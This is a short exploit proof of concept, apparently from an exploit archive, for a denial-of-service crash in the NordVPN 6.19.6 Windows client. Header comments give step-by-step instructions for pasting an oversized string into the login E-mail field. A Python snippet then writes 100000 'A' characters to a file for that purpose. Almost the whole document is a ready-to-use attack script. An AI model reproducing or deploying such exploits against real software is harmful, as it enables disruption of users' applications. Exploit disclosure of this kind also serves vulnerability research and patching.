# -*- coding: utf-8 -*-# Exploit Title: NordVPN 6.19.6 - Denial of Service (PoC)# Date: 07/02/2019# Author: Alejandra Sánchez# Vendor Homepage: https://nordvpn.com/# Software Link: https://downloads.nordcdn.com/apps/windows/10/NordVPN/latest/NordVPNSetup.exe# Version: 6.19.6# Tested on: Windows 10# Proof of Concept:# 1.- Run the python script, it will create a new file "PoC.txt"# 2.- Copy the text from the generated PoC.txt file to clipboard# 3.- Open NordVPN.exe # 3.- Paste clipboard in 'E-mail' field# 4.- Write '1234' in 'Password' field# 5.- Clic on button -> Sign In# 6.- Crashed
buffer = "\x41"* 100000
f = open ("PoC.txt","w")
f.write(buffer)
f.close()